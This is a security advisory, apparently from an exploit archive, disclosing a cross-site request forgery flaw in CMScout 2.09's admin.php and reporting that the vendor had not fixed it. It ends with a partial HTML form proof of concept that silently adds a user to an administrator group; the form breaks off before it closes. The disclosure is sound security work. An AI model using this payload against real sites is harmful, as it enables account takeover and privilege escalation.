CMScout 2.09 - Cross-Site Request Forgery

Type exploitpack
Reporter High-Tech Bridge SA
Modified 2010-12-09T00:00:00


CMScout 2.09 - Cross-Site Request Forgery

                                            Vulnerability ID: HTB22719
Product: CMScout
Vendor: CMScout Team ( ) 
Vulnerable Version: 2.09 and probably prior versions
Vendor Notification: 25 November 2010 
Vulnerability Type: CSRF (Cross-Site Request Forgery)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Low 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing ( 

Vulnerability Details:
The vulnerability exists due to failure in the "admin.php" script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/admin.php?page=users&subpage=usergroups&subpage=usergroups&action=add&uid=USER_ID" method="post" name="main" >
<input type="hidden" name="gid" value="1">
<input type="hidden" name="utype" value="2">
<input type="hidden" name="action" value="Add">